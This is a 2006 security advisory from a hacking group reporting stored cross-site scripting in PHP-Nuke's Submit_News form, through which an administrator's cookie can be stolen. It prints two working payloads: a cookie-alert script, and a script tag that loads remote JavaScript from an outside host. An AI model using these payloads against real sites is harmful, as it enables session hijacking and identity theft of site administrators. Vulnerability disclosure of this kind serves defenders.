###########################################################################<br># Advisory #9 Title: PHP-NUKE Submit_News Cross-Site Scripting Vulnerability<br># <br># <br># Author: 0o_zeus_o0<br># Contact: <a href="mailto:zeus@diosdelared.com">
zeus@diosdelared.com</a><br># Website: <a href="http://www.elitemexico.org">www.elitemexico.org</a><br># Date: 01/03/2006<br># Risk: High <br># Vendor Url: <a href="http://www.phpnuke-espanol.org/">http://www.phpnuke-espanol.org/
</a><br># Affected Software: php-nuke<br># Non Affected: <br># <br># We Are: olimpus klan team <br>#<br>#Info:<br>#================================================================<br>#vulnerability that affects to all the systems phpnuke in Submit_News, bugs consists
<br>#<br>#of inserting code xss in the shipment of the news of users this cause<br>#<br>#that when the administrator receives that news robs its cookie, this<br>#<br>#would cause identity robbery <br>#<br>#<br>#<br>#Example XSS:
<br>#================================================================<br>#<br>#<script>alert(document.cookie);</script><br>#<br>#<SCRIPT SRC=<a href="http://elitemexico.org/xss.js">http://elitemexico.org/xss.js
</a>></SCRIPT><br>#================================================================<br><br>#<br>#Solution:<br>#================================================================<br>#<br><br>#VULNERABLE VERSIONS<br>
#================================================================<br>#all vercion<br>#<br>#================================================================<br>#Contact information<br>#0o_zeus_o0<br>#zeus@<a href="http://diosdelared.com">
diosdelared.com</a><br>#www.elitemexico.org<br>#================================================================<br>#greetz: lady fire,Mi beba, olimpus klan team and elitemexico<br>##############################################################################